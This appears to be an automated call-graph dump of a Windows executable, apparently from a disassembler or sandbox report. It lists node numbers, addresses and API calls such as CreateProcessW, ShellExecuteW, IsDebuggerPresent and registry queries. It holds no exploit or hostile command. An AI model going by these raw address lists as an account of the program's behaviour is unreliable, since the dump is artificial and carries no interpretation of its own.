93915->93860 93916->93889 93917->93890 93918->93887 93920 7ff69db38314 CloseHandle 93919->93920 93921 7ff69db382f2 Concurrency::wait 93920->93921 93922 7ff69db38314 CloseHandle 93921->93922 93923 7ff69db38303 93922->93923 93925 7ff69dbab193 93924->93925 93926 7ff69dbab19c WriteFile 93924->93926 93928 7ff69dbab208 SetFilePointerEx SetFilePointerEx SetFilePointerEx 93925->93928 93926->93730 93928->93926 93929->93746 93930->93750 93931->93756 93932->93764 93933->93757 93936 7ff69dbcf671 __scrt_get_show_window_mode 93934->93936 93935 7ff69db3d4cc 48 API calls 93937 7ff69dbcf74d 93935->93937 93936->93935 94003 7ff69db3e330 93937->94003 93939 7ff69dbcf759 93940 7ff69dbcf762 93939->93940 93941 7ff69dbcf840 93939->93941 93943 7ff69db3d4cc 48 API calls 93940->93943 93942 7ff69dbcf87d GetCurrentDirectoryW 93941->93942 93944 7ff69db3d4cc 48 API calls 93941->93944 93945 7ff69db54c68 4 API calls 93942->93945 93946 7ff69dbcf777 93943->93946 93949 7ff69dbcf85c 93944->93949 93947 7ff69dbcf8a7 GetCurrentDirectoryW 93945->93947 93948 7ff69db3e330 4 API calls 93946->93948 93950 7ff69dbcf8b5 93947->93950 93951 7ff69dbcf783 93948->93951 93952 7ff69db3e330 4 API calls 93949->93952 93953 7ff69dbcf8f0 93950->93953 94016 7ff69db4f688 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 93950->94016 93954 7ff69db3d4cc 48 API calls 93951->93954 93955 7ff69dbcf868 93952->93955 93962 7ff69dbcf905 93953->93962 93963 7ff69dbcf901 93953->93963 93957 7ff69dbcf798 93954->93957 93955->93942 93955->93953 93959 7ff69db3e330 4 API calls 93957->93959 93958 7ff69dbcf8d0 94017 7ff69db4f688 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 93958->94017 93961 7ff69dbcf7a4 93959->93961 93965 7ff69db3d4cc 48 API calls 93961->93965 94019 7ff69dbafddc 8 API calls 93962->94019 93967 7ff69dbcf972 93963->93967 93968 7ff69dbcfa0f CreateProcessW 93963->93968 93964 7ff69dbcf8e0 94018 7ff69db4f688 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 93964->94018 93970 7ff69dbcf7b9 93965->93970 94022 7ff69db9d1f8 99 API calls 93967->94022 93997 7ff69dbcf9b4 93968->93997 93973 7ff69db3e330 4 API calls 93970->93973 93971 7ff69dbcf90e 94020 7ff69dbafca8 8 API calls 93971->94020 93976 7ff69dbcf7c5 93973->93976 93975 7ff69dbcf926 94021 7ff69dbafafc 8 API calls ~SyncLockT 93975->94021 93978 7ff69dbcf806 GetSystemDirectoryW 93976->93978 93981 7ff69db3d4cc 48 API calls 93976->93981 93980 7ff69db54c68 4 API calls 93978->93980 93979 7ff69dbcf94f 93979->93963 93982 7ff69dbcf830 GetSystemDirectoryW 93980->93982 93983 7ff69dbcf7e1 93981->93983 93982->93950 93985 7ff69db3e330 4 API calls 93983->93985 93984 7ff69dbcfabe CloseHandle 93986 7ff69dbcfaf5 93984->93986 93987 7ff69dbcfacc 93984->93987 93988 7ff69dbcf7ed 93985->93988 93990 7ff69dbcfafe 93986->93990 93995 7ff69dbcfb26 CloseHandle 93986->93995 94023 7ff69dbaf7dc 93987->94023 93988->93950 93988->93978 94000 7ff69dbcfaa3 93990->94000 93992 7ff69dbcfa64 93996 7ff69dbcfa84 GetLastError 93992->93996 93995->94000 93996->94000 93997->93984 93997->93992 94007 7ff69dbaf51c 94000->94007 94002->93767 94004 7ff69db3e342 94003->94004 94005 7ff69db54c68 4 API calls 94004->94005 94006 7ff69db3e361 wcscpy 94005->94006 94006->93939 94008 7ff69dbaf7dc CloseHandle 94007->94008 94009 7ff69dbaf52a 94008->94009 94028 7ff69dbaf7b8 94009->94028 94012 7ff69dbaf7b8 ~SyncLockT CloseHandle 94013 7ff69dbaf53c 94012->94013 94014 7ff69dbaf7b8 ~SyncLockT CloseHandle 94013->94014 94015 7ff69dbaf545 94014->94015 94015->93768 94016->93958 94017->93964 94018->93953 94019->93971 94020->93975 94021->93979 94022->93997 94024 7ff69dbaf7b8 ~SyncLockT CloseHandle 94023->94024 94025 7ff69dbaf7ee 94024->94025 94026 7ff69dbaf7b8 ~SyncLockT CloseHandle 94025->94026 94027 7ff69dbaf7f7 94026->94027 94029 7ff69dbaf533 94028->94029 94030 7ff69dbaf7c9 CloseHandle 94028->94030 94029->94012 94030->94029 94031->93784 94035 7ff69dbac7c0 lstrlenW 94032->94035 94036 7ff69dbabdf5 94035->94036 94037 7ff69dbac7dd GetFileAttributesW 94035->94037 94036->93810 94037->94036 94038 7ff69dbac7eb FindFirstFileW 94037->94038 94038->94036 94039 7ff69dbac7ff FindClose 94038->94039 94039->94036 94040 7ff69db55328 94065 7ff69db54cac 94040->94065 94043 7ff69db55474 94100 7ff69db557e4 7 API calls 2 library calls 94043->94100 94044 7ff69db55344 94046 7ff69db5547e 94044->94046 94047 7ff69db55362 94044->94047 94101 7ff69db557e4 7 API calls 2 library calls 94046->94101 94057 7ff69db553a4 __scrt_is_nonwritable_in_current_image __scrt_release_startup_lock 94047->94057 94071 7ff69db6ae1c 94047->94071 94051 7ff69db55387 94053 7ff69db55489 abort 94054 7ff69db5540d 94083 7ff69db55930 94054->94083 94056 7ff69db55412 94086 7ff69db33730 94056->94086 94057->94054 94097 7ff69db59204 35 API calls IsInExceptionSpec 94057->94097 94062 7ff69db55435 94062->94053 94099 7ff69db54e90 8 API calls 2 library calls 94062->94099 94064 7ff69db5544c 94064->94051 94066 7ff69db54cce __scrt_initialize_crt 94065->94066 94102 7ff69db565ec 94066->94102 94068 7ff69db54cd7 94068->94043 94068->94044 94069 7ff69db54cd3 __scrt_initialize_crt 94069->94068 94110 7ff69db56620 8 API calls 3 library calls 94069->94110 94072 7ff69db6ae34 94071->94072 94073 7ff69db55383 94072->94073 94135 7ff69db55244 94072->94135 94073->94051 94075 7ff69db6ada4 94073->94075 94076 7ff69db6ade0 94075->94076 94077 7ff69db6adff 94075->94077 94076->94077 94201 7ff69db31080 94076->94201 94206 7ff69db310e8 94076->94206 94211 7ff69db31048 94076->94211 94216 7ff69db31064 94076->94216 94221 7ff69db5def8 94076->94221 94077->94057 94433 7ff69db56240 94083->94433 94087 7ff69db337a3 94086->94087 94088 7ff69db33743 IsThemeActive 94086->94088 94098 7ff69db55974 GetModuleHandleW 94087->94098 94435 7ff69db592d0 94088->94435 94094 7ff69db3377d 94447 7ff69db337b0 94094->94447 94096 7ff69db33785 SystemParametersInfoW 94096->94087 94097->94054 94098->94062 94099->94064 94100->94046 94101->94053 94103 7ff69db565f5 __vcrt_initialize_winapi_thunks __vcrt_initialize 94102->94103 94111 7ff69db57290 94103->94111 94106 7ff69db56603 94106->94069 94108 7ff69db5660c 94108->94106 94118 7ff69db572d8 DeleteCriticalSection 94108->94118 94110->94068 94113 7ff69db57298 94111->94113 94114 7ff69db572c9 94113->94114 94115 7ff69db565ff 94113->94115 94119 7ff69db57614 94113->94119 94124 7ff69db572d8 DeleteCriticalSection 94114->94124 94115->94106 94117 7ff69db57218 8 API calls 3 library calls 94115->94117 94117->94108 94118->94106 94125 7ff69db57310 94119->94125 94122 7ff69db5765f InitializeCriticalSectionAndSpinCount 94123 7ff69db57654 94122->94123 94123->94113 94124->94115 94126 7ff69db57371 94125->94126 94133 7ff69db5736c try_get_function 94125->94133 94126->94122 94126->94123 94127 7ff69db573a0 LoadLibraryExW 94128 7ff69db573c1 GetLastError 94127->94128 94127->94133 94128->94133 94129 7ff69db57462 GetProcAddress 94131 7ff69db57473 94129->94131 94130 7ff69db57454 94130->94126 94130->94129 94131->94126 94132 7ff69db57439 FreeLibrary 94132->94133 94133->94126 94133->94127 94133->94130 94133->94132 94134 7ff69db573fb LoadLibraryExW 94133->94134 94134->94133 94136 7ff69db55254 94135->94136 94152 7ff69db62584 94136->94152 94138 7ff69db55260 94158 7ff69db54cf8 94138->94158 94141 7ff69db55279 _RTC_Initialize 94143 7ff69db54f0c __scrt_initialize_thread_safe_statics 34 API calls 94141->94143 94150 7ff69db552ce 94141->94150 94142 7ff69db552fa __scrt_initialize_default_local_stdio_options 94142->94072 94144 7ff69db5528e 94143->94144 94163 7ff69db6a09c 94144->94163 94148 7ff69db552a3 94149 7ff69db6aebc 35 API calls 94148->94149 94149->94150 94151 7ff69db552ea 94150->94151 94186 7ff69db557e4 7 API calls 2 library calls 94150->94186 94151->94072 94153 7ff69db62595 94152->94153 94154 7ff69db6259d 94153->94154 94187 7ff69db655d4 15 API calls _set_fmode 94153->94187 94154->94138 94156 7ff69db625ac 94188 7ff69db6b164 31 API calls _invalid_parameter_noinfo 94156->94188 94159 7ff69db54d0d 94158->94159 94162 7ff69db54d16 __scrt_initialize_onexit_tables __scrt_release_startup_lock 94158->94162 94159->94162 94189 7ff69db557e4 7 API calls 2 library calls 94159->94189 94161 7ff69db54dcf 94162->94141 94164 7ff69db6a0ba 94163->94164 94165 7ff69db6a0d0 GetModuleFileNameW 94163->94165 94190 7ff69db655d4 15 API calls _set_fmode 94164->94190 94169 7ff69db6a0fd 94165->94169 94167 7ff69db6a0bf 94191 7ff69db6b164 31 API calls _invalid_parameter_noinfo 94167->94191 94192 7ff69db6a038 15 API calls 2 library calls 94169->94192 94170 7ff69db5529a 94170->94150 94185 7ff69db55ac4 InitializeSListHead 94170->94185 94172 7ff69db6a13d 94173 7ff69db6a145 94172->94173 94176 7ff69db6a156 94172->94176 94193 7ff69db655d4 15 API calls _set_fmode 94173->94193 94175 7ff69db6a14a 94177 7ff69db6b3c0 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 94175->94177 94176->94175 94178 7ff69db6a1bb 94176->94178 94179 7ff69db6a1a2 94176->94179 94177->94170 94182 7ff69db6b3c0 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 94178->94182 94194 7ff69db6b3c0 94179->94194 94181 7ff69db6a1ab 94183 7ff69db6b3c0 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 94181->94183 94182->94175 94184 7ff69db6a1b7 94183->94184 94184->94170 94186->94142 94187->94156 94188->94154 94189->94161 94190->94167 94191->94170 94192->94172 94193->94175 94195 7ff69db6b3c5 RtlFreeHeap 94194->94195 94199 7ff69db6b3f5 Concurrency::details::SchedulerProxy::DeleteThis 94194->94199 94196 7ff69db6b3e0 94195->94196 94195->94199 94200 7ff69db655d4 15 API calls _set_fmode 94196->94200 94198 7ff69db6b3e5 GetLastError 94198->94199 94199->94181 94200->94198 94230 7ff69db37920 94201->94230 94203 7ff69db3109e 94204 7ff69db54ebc _onexit 34 API calls 94203->94204 94205 7ff69db54f15 94204->94205 94205->94076 94293 7ff69db51d80 94206->94293 94209 7ff69db54ebc _onexit 34 API calls 94210 7ff69db54f15 94209->94210 94210->94076 94317 7ff69db37718 94211->94317 94214 7ff69db54ebc _onexit 34 API calls 94215 7ff69db54f15 94214->94215 94215->94076 94335 7ff69db37ec0 94216->94335 94218 7ff69db3106d 94219 7ff69db54ebc _onexit 34 API calls 94218->94219 94220 7ff69db54f15 94219->94220 94220->94076 94222 7ff69db5df03 94221->94222 94419 7ff69db6de20 94222->94419 94231 7ff69db37948 wcsftime 94230->94231 94232 7ff69db39640 4 API calls 94231->94232 94233 7ff69db37a02 94232->94233 94260 7ff69db35680 94233->94260 94235 7ff69db37a0c 94267 7ff69db53a38 94235->94267 94238 7ff69db371f8 4 API calls 94239 7ff69db37a2c 94238->94239 94273 7ff69db34680 94239->94273 94241 7ff69db37a3d 94242 7ff69db39640 4 API calls 94241->94242 94243 7ff69db37a47 94242->94243 94277 7ff69db3a854 94243->94277 94246 7ff69db7d05c RegQueryValueExW 94247 7ff69db7d131 RegCloseKey 94246->94247 94248 7ff69db7d08f 94246->94248 94250 7ff69db37a83 Concurrency::wait 94247->94250 94256 7ff69db7d147 wcscat Concurrency::wait 94247->94256 94249 7ff69db54c68 4 API calls 94248->94249 94251 7ff69db7d0b2 94249->94251 94250->94203 94253 7ff69db7d0bf RegQueryValueExW 94251->94253 94252 7ff69db39d84 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94252->94256 94254 7ff69db7d0f3 94253->94254 94257 7ff69db7d112 94253->94257 94255 7ff69db37cf4 4 API calls 94254->94255 94255->94257 94256->94250 94256->94252 94258 7ff69db3ec00 4 API calls 94256->94258 94259 7ff69db34680 4 API calls 94256->94259 94257->94247 94258->94256 94259->94256 94281 7ff69db78f90 94260->94281 94263 7ff69db3ec00 4 API calls 94264 7ff69db356b4 94263->94264 94283 7ff69db356d4 94264->94283 94266 7ff69db356c1 Concurrency::wait 94266->94235 94268 7ff69db78f90 wcsftime 94267->94268 94269 7ff69db53a44 GetFullPathNameW 94268->94269 94270 7ff69db53a74 94269->94270 94271 7ff69db37cf4 4 API calls 94270->94271 94272 7ff69db37a1b 94271->94272 94272->94238 94274 7ff69db3469f 94273->94274 94276 7ff69db346c8 memcpy_s 94273->94276 94275 7ff69db54c68 4 API calls 94274->94275 94275->94276 94276->94241 94278 7ff69db37a51 RegOpenKeyExW 94277->94278 94279 7ff69db3a87a 94277->94279 94278->94246 94278->94250 94280 7ff69db54c68 4 API calls 94279->94280 94280->94278 94282 7ff69db3568c GetModuleFileNameW 94281->94282 94282->94263 94284 7ff69db78f90 wcsftime 94283->94284 94285 7ff69db356e9 GetFullPathNameW 94284->94285 94286 7ff69db7c03a 94285->94286 94287 7ff69db35712 94285->94287 94288 7ff69db3a854 4 API calls 94286->94288 94289 7ff69db37cf4 4 API calls 94287->94289 94290 7ff69db3571c 94288->94290 94289->94290 94291 7ff69db3dda4 4 API calls 94290->94291 94292 7ff69db35785 94291->94292 94292->94266 94294 7ff69db39640 4 API calls 94293->94294 94295 7ff69db51db2 GetVersionExW 94294->94295 94296 7ff69db37cf4 4 API calls 94295->94296 94297 7ff69db51dfc 94296->94297 94297->94297 94298 7ff69db3dda4 4 API calls 94297->94298 94299 7ff69db51e87 94297->94299 94298->94297 94300 7ff69db3dda4 4 API calls 94299->94300 94307 7ff69db51ea4 94300->94307 94301 7ff69db99645 94302 7ff69db9964f 94301->94302 94315 7ff69dba32f4 LoadLibraryA GetProcAddress 94302->94315 94303 7ff69db51f3c GetCurrentProcess IsWow64Process 94304 7ff69db51f7e __scrt_get_show_window_mode 94303->94304 94304->94302 94306 7ff69db51f86 GetSystemInfo 94304->94306 94309 7ff69db310f1 94306->94309 94307->94301 94307->94303 94308 7ff69db996b1 94310 7ff69db996b5 94308->94310 94311 7ff69db996d7 GetSystemInfo 94308->94311 94309->94209 94316 7ff69dba32f4 LoadLibraryA GetProcAddress 94310->94316 94313 7ff69db996bf 94311->94313 94313->94309 94314 7ff69db996f0 FreeLibrary 94313->94314 94314->94309 94315->94308 94316->94313 94318 7ff69db39640 4 API calls 94317->94318 94319 7ff69db3778f 94318->94319 94324 7ff69db36f24 94319->94324 94322 7ff69db3782c 94323 7ff69db31051 94322->94323 94327 7ff69db37410 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 94322->94327 94323->94214 94328 7ff69db36f60 94324->94328 94327->94322 94329 7ff69db36f52 94328->94329 94330 7ff69db36f85 94328->94330 94329->94322 94330->94329 94331 7ff69db36f93 RegOpenKeyExW 94330->94331 94331->94329 94332 7ff69db36faf RegQueryValueExW 94331->94332 94333 7ff69db36fdd 94332->94333 94334 7ff69db36ff5 RegCloseKey 94332->94334 94333->94334 94334->94329 94371 7ff69db382b4 94335->94371 94338 7ff69db382b4 4 API calls 94339 7ff69db37f3a 94338->94339 94340 7ff69db39640 4 API calls 94339->94340 94341 7ff69db37f46 94340->94341 94342 7ff69db37cf4 4 API calls 94341->94342 94343 7ff69db37f59 94342->94343 94378 7ff69db52d5c 6 API calls 94343->94378 94345 7ff69db37fa5 94346 7ff69db39640 4 API calls 94345->94346 94347 7ff69db37fb1 94346->94347 94348 7ff69db39640 4 API calls 94347->94348 94349 7ff69db37fbd 94348->94349 94350 7ff69db39640 4 API calls 94349->94350 94351 7ff69db37fc9 94350->94351 94352 7ff69db39640 4 API calls 94351->94352 94353 7ff69db3800f 94352->94353 94354 7ff69db39640 4 API calls 94353->94354 94355 7ff69db380f7 94354->94355 94379 7ff69db4ef88 94355->94379 94357 7ff69db38103 94386 7ff69db4eec8 94357->94386 94359 7ff69db3812f 94360 7ff69db39640 4 API calls 94359->94360 94361 7ff69db3813b 94360->94361 94397 7ff69db46d40 94361->94397 94365 7ff69db381ac 94366 7ff69db381be GetStdHandle 94365->94366 94367 7ff69db38220 OleInitialize 94366->94367 94368 7ff69db7d350 94366->94368 94367->94218 94414 7ff69dbaffc8 CreateThread 94368->94414 94370 7ff69db7d367 CloseHandle 94372 7ff69db39640 4 API calls 94371->94372 94373 7ff69db382c6 94372->94373 94374 7ff69db39640 4 API calls 94373->94374 94375 7ff69db382cf 94374->94375 94376 7ff69db39640 4 API calls 94375->94376 94377 7ff69db37f2e 94376->94377 94377->94338 94378->94345 94380 7ff69db39640 4 API calls 94379->94380 94381 7ff69db4efa3 94380->94381 94382 7ff69db39640 4 API calls 94381->94382 94383 7ff69db4efac 94382->94383 94384 7ff69db39640 4 API calls 94383->94384 94385 7ff69db4f02e 94384->94385 94385->94357 94387 7ff69db4eede 94386->94387 94388 7ff69db39640 4 API calls 94387->94388 94389 7ff69db4eeea 94388->94389 94390 7ff69db39640 4 API calls 94389->94390 94391 7ff69db4eef6 94390->94391 94392 7ff69db39640 4 API calls 94391->94392 94393 7ff69db4ef02 94392->94393 94394 7ff69db39640 4 API calls 94393->94394 94395 7ff69db4ef0e 94394->94395 94396 7ff69db4ef68 RegisterWindowMessageW 94395->94396 94396->94359 94398 7ff69db46db9 94397->94398 94404 7ff69db46d80 94397->94404 94415 7ff69db55114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 94398->94415 94406 7ff69db3816b 94404->94406 94416 7ff69db55114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 94404->94416 94407 7ff69db539a8 94406->94407 94408 7ff69db9a502 94407->94408 94413 7ff69db539cc 94407->94413 94417 7ff69db3ee20 5 API calls Concurrency::wait 94408->94417 94410 7ff69db9a50e 94418 7ff69db3ee20 5 API calls Concurrency::wait 94410->94418 94412 7ff69db9a52d 94413->94365 94414->94370 94417->94410 94418->94412 94432 7ff69db6b9bc EnterCriticalSection 94419->94432 94434 7ff69db55947 GetStartupInfoW 94433->94434 94434->94056 94493 7ff69db6b9bc EnterCriticalSection 94435->94493 94437 7ff69db592e4 94438 7ff69db6ba10 _isindst LeaveCriticalSection 94437->94438 94439 7ff69db3376e 94438->94439 94440 7ff69db59334 94439->94440 94441 7ff69db5933d 94440->94441 94445 7ff69db33778 94440->94445 94494 7ff69db655d4 15 API calls _set_fmode 94441->94494 94443 7ff69db59342 94495 7ff69db6b164 31 API calls _invalid_parameter_noinfo 94443->94495 94446 7ff69db336e8 SystemParametersInfoW SystemParametersInfoW 94445->94446 94446->94094 94448 7ff69db337cd wcsftime 94447->94448 94449 7ff69db39640 4 API calls 94448->94449 94450 7ff69db337dd GetCurrentDirectoryW 94449->94450 94496 7ff69db357a0 94450->94496 94452 7ff69db33807 IsDebuggerPresent 94453 7ff69db7b872 MessageBoxA 94452->94453 94454 7ff69db33815 94452->94454 94455 7ff69db7b894 94453->94455 94454->94455 94456 7ff69db33839 94454->94456 94606 7ff69db3e278 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94455->94606 94570 7ff69db33f04 94456->94570 94460 7ff69db33860 GetFullPathNameW 94461 7ff69db37cf4 4 API calls 94460->94461 94462 7ff69db338a6 94461->94462 94586 7ff69db33f9c 94462->94586 94463 7ff69db338bf 94465 7ff69db7b8dc SetCurrentDirectoryW 94463->94465 94466 7ff69db338c7 94463->94466 94465->94466 94467 7ff69db338d0 94466->94467 94607 7ff69db9d540 AllocateAndInitializeSid CheckTokenMembership FreeSid 94466->94607 94602 7ff69db33b84 7 API calls 94467->94602 94470 7ff69db7b8f8 94470->94467 94473 7ff69db7b90c 94470->94473 94475 7ff69db35680 6 API calls 94473->94475 94474 7ff69db338da 94476 7ff69db36258 46 API calls 94474->94476 94480 7ff69db338ef 94474->94480 94477 7ff69db7b916 94475->94477 94476->94480 94478 7ff69db3ec00 4 API calls 94477->94478 94479 7ff69db7b927 94478->94479 94482 7ff69db7b94d 94479->94482 94483 7ff69db7b930 94479->94483 94481 7ff69db33913 94480->94481 94484 7ff69db35d88 Shell_NotifyIconW 94480->94484 94486 7ff69db3391f SetCurrentDirectoryW 94481->94486 94488 7ff69db371f8 4 API calls 94482->94488 94485 7ff69db371f8 4 API calls 94483->94485 94484->94481 94487 7ff69db7b93c 94485->94487 94489 7ff69db33934 Concurrency::wait 94486->94489 94608 7ff69db37c24 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection Concurrency::wait 94487->94608 94491 7ff69db7b963 GetForegroundWindow ShellExecuteW 94488->94491 94489->94096 94492 7ff69db7b99f Concurrency::wait 94491->94492 94492->94481 94494->94443 94495->94445 94497 7ff69db39640 4 API calls 94496->94497 94498 7ff69db357d7 94497->94498 94609 7ff69db39bbc 94498->94609 94500 7ff69db357fe 94501 7ff69db35680 6 API calls 94500->94501 94502 7ff69db35812 94501->94502 94503 7ff69db3ec00 4 API calls 94502->94503 94504 7ff69db35823 94503->94504 94623 7ff69db36460 94504->94623 94507 7ff69db3584e Concurrency::wait 94511 7ff69db3e0a8 4 API calls 94507->94511 94508 7ff69db7c05e 94696 7ff69dbb2948 94508->94696 94510 7ff69db7c074 94512 7ff69db7c081 94510->94512 94514 7ff69db3652c 63 API calls 94510->94514 94513 7ff69db3586a 94511->94513 94714 7ff69db3652c 94512->94714 94516 7ff69db3ec00 4 API calls 94513->94516 94514->94512 94517 7ff69db35888 94516->94517 94521 7ff69db7c099 94517->94521 94649 7ff69db3eff8 94517->94649 94519 7ff69db358ad Concurrency::wait 94520 7ff69db3ec00 4 API calls 94519->94520 94522 7ff69db358d7 94520->94522 94524 7ff69db35ab4 4 API calls 94521->94524 94522->94521 94523 7ff69db3eff8 46 API calls 94522->94523 94526 7ff69db358fc Concurrency::wait 94523->94526 94525 7ff69db7c0e1 94524->94525 94527 7ff69db35ab4 4 API calls 94525->94527 94529 7ff69db39640 4 API calls 94526->94529 94528 7ff69db7c103 94527->94528 94532 7ff69db35680 6 API calls 94528->94532 94530 7ff69db3591f 94529->94530 94662 7ff69db35ab4 94530->94662 94534 7ff69db7c12b 94532->94534 94536 7ff69db35ab4 4 API calls 94534->94536 94538 7ff69db7c139 94536->94538 94537 7ff69db35941 94537->94521 94539 7ff69db35949 94537->94539 94540 7ff69db3e0a8 4 API calls 94538->94540 94541 7ff69db58e28 wcsftime 37 API calls 94539->94541 94542 7ff69db7c14a 94540->94542 94543 7ff69db35958 94541->94543 94544 7ff69db35ab4 4 API calls 94542->94544 94543->94525 94545 7ff69db35960 94543->94545 94546 7ff69db7c15b 94544->94546 94547 7ff69db58e28 wcsftime 37 API calls 94545->94547 94550 7ff69db3e0a8 4 API calls 94546->94550 94548 7ff69db3596f 94547->94548 94548->94528 94549 7ff69db35977 94548->94549 94551 7ff69db58e28 wcsftime 37 API calls 94549->94551 94552 7ff69db7c172 94550->94552 94553 7ff69db35986 94551->94553 94554 7ff69db35ab4 4 API calls 94552->94554 94555 7ff69db359c6 94553->94555 94557 7ff69db35ab4 4 API calls 94553->94557 94556 7ff69db7c183 94554->94556 94555->94546 94558 7ff69db359d3 94555->94558 94559 7ff69db359a8 94557->94559 94685 7ff69db3df90 94558->94685 94560 7ff69db3e0a8 4 API calls 94559->94560 94561 7ff69db359b5 94560->94561 94563 7ff69db35ab4 4 API calls 94561->94563 94563->94555 94566 7ff69db3d670 5 API calls 94567 7ff69db35a12 94566->94567 94567->94566 94568 7ff69db35ab4 4 API calls 94567->94568 94569 7ff69db35a60 Concurrency::wait 94567->94569 94568->94567 94569->94452 94571 7ff69db33f29 wcsftime 94570->94571 94572 7ff69db7ba2c __scrt_get_show_window_mode 94571->94572 94573 7ff69db33f4b 94571->94573 94575 7ff69db7ba4d GetOpenFileNameW 94572->94575 94574 7ff69db356d4 5 API calls 94573->94574 94576 7ff69db33f56 94574->94576 94577 7ff69db33858 94575->94577 94578 7ff69db7bab0 94575->94578 95058 7ff69db33eb4 94576->95058 94577->94460 94577->94463 94580 7ff69db37cf4 4 API calls 94578->94580 94582 7ff69db7babc 94580->94582 94584 7ff69db33f6c 95076 7ff69db36394 94584->95076 94587 7ff69db33fb6 wcsftime 94586->94587 95119 7ff69db39734 94587->95119 94589 7ff69db33fc4 94601 7ff69db34050 94589->94601 95129 7ff69db34d28 77 API calls 94589->95129 94591 7ff69db33fd3 94591->94601 95130 7ff69db34b0c 79 API calls Concurrency::wait 94591->95130 94593 7ff69db33fe0 94594 7ff69db33fe8 GetFullPathNameW 94593->94594 94593->94601 94595 7ff69db37cf4 4 API calls 94594->94595 94596 7ff69db34014 94595->94596 94597 7ff69db37cf4 4 API calls 94596->94597 94598 7ff69db34028 94597->94598 94599 7ff69db37cf4 4 API calls 94598->94599 94600 7ff69db7bac2 wcscat 94598->94600 94599->94601 94601->94463 95134 7ff69db33d90 7 API calls 94602->95134 94604 7ff69db338d5 94605 7ff69db33cbc CreateWindowExW CreateWindowExW ShowWindow ShowWindow 94604->94605 94606->94463 94607->94470 94608->94482 94610 7ff69db39be5 wcsftime 94609->94610 94611 7ff69db37cf4 4 API calls 94610->94611 94612 7ff69db39c1b 94610->94612 94611->94612 94621 7ff69db39c4a Concurrency::wait 94612->94621 94720 7ff69db39d84 94612->94720 94614 7ff69db39d84 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94614->94621 94615 7ff69db3ec00 4 API calls 94616 7ff69db39d4a 94615->94616 94618 7ff69db34680 4 API calls 94616->94618 94617 7ff69db3ec00 4 API calls 94617->94621 94619 7ff69db39d57 Concurrency::wait 94618->94619 94619->94500 94620 7ff69db34680 4 API calls 94620->94621 94621->94614 94621->94617 94621->94620 94622 7ff69db39d21 94621->94622 94622->94615 94622->94619 94723 7ff69db36d64 94623->94723 94626 7ff69db3649d 94627 7ff69db364ba FreeLibrary 94626->94627 94628 7ff69db364c0 94626->94628 94627->94628 94727 7ff69db648e0 94628->94727 94629 7ff69db36d64 2 API calls 94629->94626 94632 7ff69db7c8f6 94635 7ff69db3652c 63 API calls 94632->94635 94633 7ff69db364db LoadLibraryExW 94746 7ff69db36cc4 94633->94746 94636 7ff69db7c8fe 94635->94636 94638 7ff69db36cc4 3 API calls 94636->94638 94640 7ff69db7c907 94638->94640 94768 7ff69db367d8 94640->94768 94641 7ff69db36505 94641->94640 94642 7ff69db36512 94641->94642 94644 7ff69db3652c 63 API calls 94642->94644 94646 7ff69db35846 94644->94646 94646->94507 94646->94508 94648 7ff69db7c93f 94971 7ff69db41a30 94649->94971 94651 7ff69db3f029 94652 7ff69db8a7a8 94651->94652 94653 7ff69db3f040 94651->94653 94987 7ff69db3ee20 5 API calls Concurrency::wait 94652->94987 94656 7ff69db54c68 4 API calls 94653->94656 94655 7ff69db8a7bc 94657 7ff69db3f066 94656->94657 94659 7ff69db3f08f 94657->94659 94986 7ff69db3f0ec RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 94657->94986 94982 7ff69db3f1bc 94659->94982 94661 7ff69db3f0c6 94661->94519 94663 7ff69db35ac6 94662->94663 94664 7ff69db35ae4 94662->94664 94665 7ff69db3e0a8 4 API calls 94663->94665 94666 7ff69db37cf4 4 API calls 94664->94666 94667 7ff69db3592d 94665->94667 94666->94667 94668 7ff69db58e28 94667->94668 94669 7ff69db58ea4 94668->94669 94670 7ff69db58e3f 94668->94670 94991 7ff69db58d98 35 API calls _mbstowcs_s_l 94669->94991 94679 7ff69db58e63 94670->94679 94989 7ff69db655d4 15 API calls _set_fmode 94670->94989 94673 7ff69db58ed6 94675 7ff69db58ee2 94673->94675 94684 7ff69db58ef9 94673->94684 94674 7ff69db58e49 94990 7ff69db6b164 31 API calls _invalid_parameter_noinfo 94674->94990 94992 7ff69db655d4 15 API calls _set_fmode 94675->94992 94678 7ff69db58e54 94678->94537 94679->94537 94680 7ff69db58ee7 94993 7ff69db6b164 31 API calls _invalid_parameter_noinfo 94680->94993 94682 7ff69db62c80 37 API calls wcsftime 94682->94684 94683 7ff69db58ef2 94683->94537 94684->94682 94684->94683 94686 7ff69db3dfac 94685->94686 94687 7ff69db54c68 4 API calls 94686->94687 94688 7ff69db359f5 94686->94688 94687->94688 94689 7ff69db3d670 94688->94689 94690 7ff69db3d698 94689->94690 94695 7ff69db3d6a2 94690->94695 94994 7ff69db3880c RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94690->94994 94693 7ff69db89d43 94694 7ff69db3d7de 94694->94567 94695->94694 94995 7ff69db3ee20 5 API calls Concurrency::wait 94695->94995 94697 7ff69dbb29c8 94696->94697 94996 7ff69dbb2b70 94697->94996 94700 7ff69dbb29de 94700->94510 94701 7ff69db367d8 45 API calls 94702 7ff69dbb2a03 94701->94702 94703 7ff69db367d8 45 API calls 94702->94703 94704 7ff69dbb2a23 94703->94704 94705 7ff69db367d8 45 API calls 94704->94705 94706 7ff69dbb2a49 94705->94706 94707 7ff69db367d8 45 API calls 94706->94707 94708 7ff69dbb2a6d 94707->94708 94709 7ff69db367d8 45 API calls 94708->94709 94710 7ff69dbb2ac5 94709->94710 94711 7ff69dbb240c 32 API calls 94710->94711 94712 7ff69dbb2ada 94711->94712 94712->94700 95001 7ff69dbb1d48 